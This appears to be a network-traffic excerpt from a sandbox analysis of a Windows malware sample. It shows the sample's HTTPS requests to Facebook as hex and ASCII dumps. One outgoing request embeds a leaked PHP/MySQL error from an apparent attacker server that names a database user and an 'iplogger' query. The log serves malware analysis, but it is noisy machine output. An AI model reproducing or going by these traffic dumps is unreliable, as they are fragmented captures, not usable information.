2022-09-09 16:00:12 UTC	73	IN	Data Raw: 3d 22 56 69 73 69 74 20 6f 75 72 20 43 6f 6e 74 61 63 74 20 55 70 6c 6f 61 64 69 6e 67 20 26 61 6d 70 3b 20 4e 6f 6e 2d 55 73 65 72 73 20 4e 6f 74 69 63 65 2e 22 3e 43 6f 6e 74 61 63 74 20 55 70 6c 6f 61 64 69 6e 67 20 26 61 6d 70 3b 20 4e 6f 6e 2d 55 73 65 72 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 61 63 63 65 73 73 6b 65 79 3d 22 36 22 20 63 6c 61 73 73 3d 22 61 63 63 65 73 73 69 62 6c 65 5f 65 6c 65 6d 22 20 68 72 65 66 3d 22 2f 73 65 74 74 69 6e 67 73 22 20 74 69 74 6c 65 3d 22 56 69 65 77 20 61 6e 64 20 65 64 69 74 20 79 6f 75 72 20 46 61 63 65 62 6f 6f 6b 20 73 65 74 74 69 6e 67 73 2e 22 3e 53 65 74 74 69 6e 67 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 61 63 63 65 73 73 6b 65 79 3d 22 37 22 20 63 6c 61 73 73 3d 22 61 63 63 65 73 Data Ascii: ="Visit our Contact Uploading & Non-Users Notice.">Contact Uploading & Non-Users</a></li><li><a accesskey="6" class="accessible_elem" href="/settings" title="View and edit your Facebook settings.">Settings</a></li><li><a accesskey="7" class="acces
2022-09-09 16:00:12 UTC	75	IN	Data Raw: 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 76 64 36 6d 77 72 74 41 4a 6f 75 45 4a 52 48 51 22 7d 2c 22 31 33 39 39 32 31 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 36 67 75 43 57 31 65 79 49 6b 4f 56 31 45 5f 78 6b 22 7d 2c 22 31 34 30 31 30 36 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 35 61 65 74 4e 35 47 62 33 72 65 49 58 56 31 57 41 22 7d 2c 22 31 34 38 35 30 35 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 35 6c 6b 47 78 6d 68 66 72 56 4b 6c 63 6e 55 33 73 22 7d 2c 22 31 35 39 36 30 36 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 4a 48 75 44 57 Data Ascii: ":{"result":false,"hash":"AT4vd6mwrtAJouEJRHQ"},"1399218":{"result":true,"hash":"AT6guCW1eyIkOV1E_xk"},"1401060":{"result":true,"hash":"AT5aetN5Gb3reIXV1WA"},"1485055":{"result":true,"hash":"AT5lkGxmhfrVKlcnU3s"},"1596063":{"result":false,"hash":"AT7JHuDW
2022-09-09 16:00:12 UTC	76	IN	Data Raw: 3a 31 7d 2c 22 41 77 74 39 4c 50 62 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 33 5c 2f 72 5c 2f 74 67 69 71 54 78 54 74 4a 48 51 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 41 39 63 69 56 42 39 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 38 5c 2f 72 5c 2f 4a 6a 51 46 74 59 36 69 32 4a 4a 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 37 4c Data Ascii: :1},"Awt9LPb":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y3\/r\/tgiqTxTtJHQ.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"A9ciVB9":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y8\/r\/JjQFtY6i2JJ.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"7L
2022-09-09 16:00:12 UTC	78	IN	Data Raw: 79 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 39 5a 30 4a 51 57 50 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 52 4b 6b 34 5c 2f 79 67 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 59 52 55 73 76 6b 66 69 67 52 30 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 79 52 61 39 76 67 35 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 37 5c 2f 72 5c 2f 46 57 79 41 67 Data Ascii: y.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"9Z0JQWP":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iRKk4\/yg\/l\/en_US\/YRUsvkfigR0.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"yRa9vg5":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y7\/r\/FWyAg
2022-09-09 16:00:12 UTC	79	IN	Data Raw: 2f 4a 45 54 5f 62 4f 4a 5a 4d 51 79 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4f 51 76 39 57 33 4c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 56 37 41 34 5c 2f 79 5a 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 76 57 71 35 4b 6f 6f 54 7a 74 55 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 4d 44 30 34 37 63 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 45 5f Data Ascii: /JET_bOJZMQy.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"OQv9W3L":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iV7A4\/yZ\/l\/en_US\/vWq5KooTztU.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"xMD047c":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iE_
2022-09-09 16:00:12 UTC	81	IN	Data Raw: 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 45 33 73 58 4b 4b 6b 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4f 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 54 56 75 61 79 42 31 4c 53 35 69 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 68 5a 45 4a 52 6f 49 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 79 5c 2f 72 5c 2f 4c 70 67 55 65 64 58 4a 79 57 34 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 Data Ascii: g5Kz","nc":1},"E3sXKKk":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yO\/l\/0,cross\/TVuayB1LS5i.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"hZEJRoI":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yy\/r\/LpgUedXJyW4.js?_nc_x=Ij3
2022-09-09 16:00:12 UTC	82	IN	Data Raw: 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 4d 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 77 63 56 6e 56 76 78 70 55 55 56 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 45 4b 6a 73 4c 43 5c 2f 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 64 5c 2f 72 5c 2f 6c 43 32 2d 62 32 47 6d 47 6a 38 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 56 73 37 76 44 4a 62 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 Data Ascii: .fbcdn.net\/rsrc.php\/v3\/yM\/l\/0,cross\/wcVnVvxpUUV.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"EKjsLC\/":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yd\/r\/lC2-b2GmGj8.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Vs7vDJb":{"type":"js","src":"https:\/\/stati
2022-09-09 16:00:12 UTC	84	IN	Data Raw: 22 2c 22 6e 63 22 3a 31 7d 2c 22 52 75 63 6f 41 56 6c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 48 5f 50 34 5c 2f 79 74 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 63 35 33 75 6e 41 4c 62 73 62 46 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6a 6c 66 56 42 4a 6d 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 42 5c 2f 72 5c 2f 5f 4f 35 6e 4c 75 5a 33 36 73 6c 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 Data Ascii: ","nc":1},"RucoAVl":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iH_P4\/yt\/l\/en_US\/c53unALbsbF.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"jlfVBJm":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yB\/r\/_O5nLuZ36sl.js?_nc_x=Ij3Wp8
2022-09-09 16:00:12 UTC	85	IN	Data Raw: 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 61 38 76 5a 79 72 6a 54 6a 6a 52 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6c 49 5c 2f 63 46 32 41 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 71 4f 61 34 5c 2f 79 52 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 39 4a 74 53 4a 45 61 55 6f 71 77 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 66 66 54 77 48 5c 2f 75 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 Data Ascii: \/l\/0,cross\/a8vZyrjTjjR.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"lI\/cF2A":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iqOa4\/yR\/l\/en_US\/9JtSJEaUoqw.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"ffTwH\/u":{"type":"css","src":"https:\/\/static.xx.fbcdn.net
2022-09-09 16:00:12 UTC	87	IN	Data Raw: 56 67 4f 49 47 6d 76 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6f 75 46 64 35 53 59 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6c 30 6f 34 5c 2f 79 51 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 74 4d 44 50 6a 38 64 37 43 4d 51 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 66 6d 6d 5a 4b 64 77 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 7a 53 44 34 5c 2f Data Ascii: VgOIGmv.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"ouFd5SY":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3il0o4\/yQ\/l\/en_US\/tMDPj8d7CMQ.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"fmmZKdw":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3izSD4\/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49732	157.240.236.35	443	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

Timestamp	kBytes transferred	Direction	Data
2022-09-09 16:00:31 UTC	88	OUT	GET /%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-09-09 16:00:31 UTC	90	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: mLnd93x7XXw60uXz/iDflKR1IMgk/RndmtnyJ5Uwrf2dfLYKQztdiV/VjXaIDU26DboNV82hWYfoPAgcSWknig== Date: Fri, 09 Sep 2022 16:00:31 GMT Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-09-09 16:00:31 UTC	91	IN	Data Raw: 39 63 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 41 42 6a 34 4c 64 6e 32 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 72 Data Ascii: 9c9<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="ABj4Ldn2">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requir
2022-09-09 16:00:31 UTC	91	IN	Data Raw: 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 42 6a 34 4c 64 6e 32 22 3e 3c 2f 73 74 79 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 Data Ascii: on b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="ABj4Ldn2"></style><script nonce="
2022-09-09 16:00:31 UTC	93	IN	Data Raw: 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d Data Ascii: 32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link rel="manifest" id="M
2022-09-09 16:00:31 UTC	93	IN	Data Raw: 31 33 35 61 31 0d 0a 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 65 61 72 63 68 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 70 65 6e 73 65 61 72 63 68 64 65 73 63 72 69 70 74 69 6f 6e 2b 78 6d 6c 22 20 68 72 65 66 3d 22 2f 6f 73 64 2e 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 62 6f 6f 6b 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 Data Ascii: 135a1title><link rel="search" type="application/opensearchdescription+xml" href="/osd.xml" title="Facebook" /><link rel="alternate" media="only screen and (max-width: 640px)" href="https://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20
2022-09-09 16:00:31 UTC	94	IN	Data Raw: 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 68 61 6e 64 68 65 6c 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d Data Ascii: 3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" /><link rel="alternate" media="handheld" href="https://www.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20rem
2022-09-09 16:00:31 UTC	96	IN	Data Raw: 64 70 2c 6e 6f 79 64 69 72 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 4c 6f 67 20 69 6e 20 6f 72 20 73 69 67 6e 20 75 70 20 74 6f 20 76 69 65 77 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 65 20 70 6f 73 74 73 2c 20 70 68 6f 74 6f 73 20 61 6e 64 20 6d 6f 72 65 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 2e 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 73 6b 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 61 6e 79 22 20 68 72 65 66 3d 22 2f 69 63 6f 6e 2e 73 76 67 22 20 63 6f 6c 6f 72 3d 22 23 33 62 35 39 39 38 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 Data Ascii: dp,noydir" /><meta property="og:title" content="Log in or sign up to view" /><meta property="og:description" content="See posts, photos and more on Facebook." /><link rel="mask-icon" sizes="any" href="/icon.svg" color="#3b5998" /><link rel="shortcut icon"
2022-09-09 16:00:31 UTC	97	IN	Data Raw: 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 28 7b 22 63 6c 70 44 61 74 61 22 3a 7b 22 31 38 31 34 38 35 32 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 33 38 31 34 32 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 31 39 34 39 38 39 38 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 34 38 38 31 35 22 3a 7b 22 72 22 3a 31 30 30 30 30 2c 22 73 22 3a 31 7d 2c 22 31 37 34 34 31 37 38 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 7d 2c 22 67 6b 78 44 61 74 61 22 3a 7b 22 35 39 31 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 